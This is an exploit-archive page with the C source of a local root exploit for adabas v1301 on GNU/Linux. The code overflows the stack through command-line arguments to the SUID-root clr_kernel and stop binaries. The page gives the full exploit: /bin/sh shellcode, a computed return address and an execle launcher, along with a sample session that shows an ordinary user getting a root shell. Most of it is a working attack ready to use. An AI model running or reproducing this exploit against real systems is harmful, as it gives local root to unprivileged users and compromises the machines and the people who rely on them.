exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-adabas.c

prdelka-vs-GNU-adabas.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

GNU/Linux adabas v1301 universal local root exploit. Standard stack overflow in the command line arguments of SUID root(default) clr_kernel & stop bins. The exploit calculates the value to use for return address.

tags | exploit, overflow, local, root
systems | linux
SHA-256 | ed833915fb367c22a24bae21eeb3b2964eb4dfac2a260b2bcaab81b34fb8697b

prdelka-vs-GNU-adabas.c

Change Mirror Download
/* GNU/Linux adabas v1301 universal local root exploit
* ===================================================
* Standard stack overflow in the command line arguements
* of SUID root(default) clr_kernel & stop bins. The
* exploit calculates the value to use for return address.
*
* Example use.
*
* matt@debian:/adabas/aad/v1301/pgm$ id
* uid=1001(matt) gid=1001(matt) groups=1001(matt),100(users)
* matt@debian:/adabas/aad/v1301/pgm$ ./exploit ./stop
* [ GNU/Linux adabas v1301 universal local root exploit
* [ Using return address 0xbfffffd1
* sh-2.05a# id
* uid=1001(matt) gid=1001(matt) euid=0(root) groups=1001(matt),100(users)
*
* greets to kokanin my DTORS friend for showing me this bug.
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc,char* argv[])
{
printf("[ GNU/Linux adabas v1301 universal local root exploit\n");
if(argc < 2)
{
printf("Error: [path]\n");
exit(0);
}
long eip = 0x41414141;
char* buffer = malloc(50 + sizeof(eip) + strlen(shellcode));
int i;
long ptr = (long)buffer;
strncat(buffer," ",1);
for(i = 1;i <= 50;i++)
{
strncat(buffer,"A",1);
}
ptr = ptr + 50;
memcpy((char*)ptr,(char*)&eip,4);
strncat(buffer,shellcode,strlen(shellcode));
eip = 0xc0000000 -4 -strlen(argv[1]) -1 -strlen(shellcode) -1;
memcpy((char*)ptr,(char*)&eip,4);
char *env[] = {"DBROOT=heh",NULL};
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],buffer,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close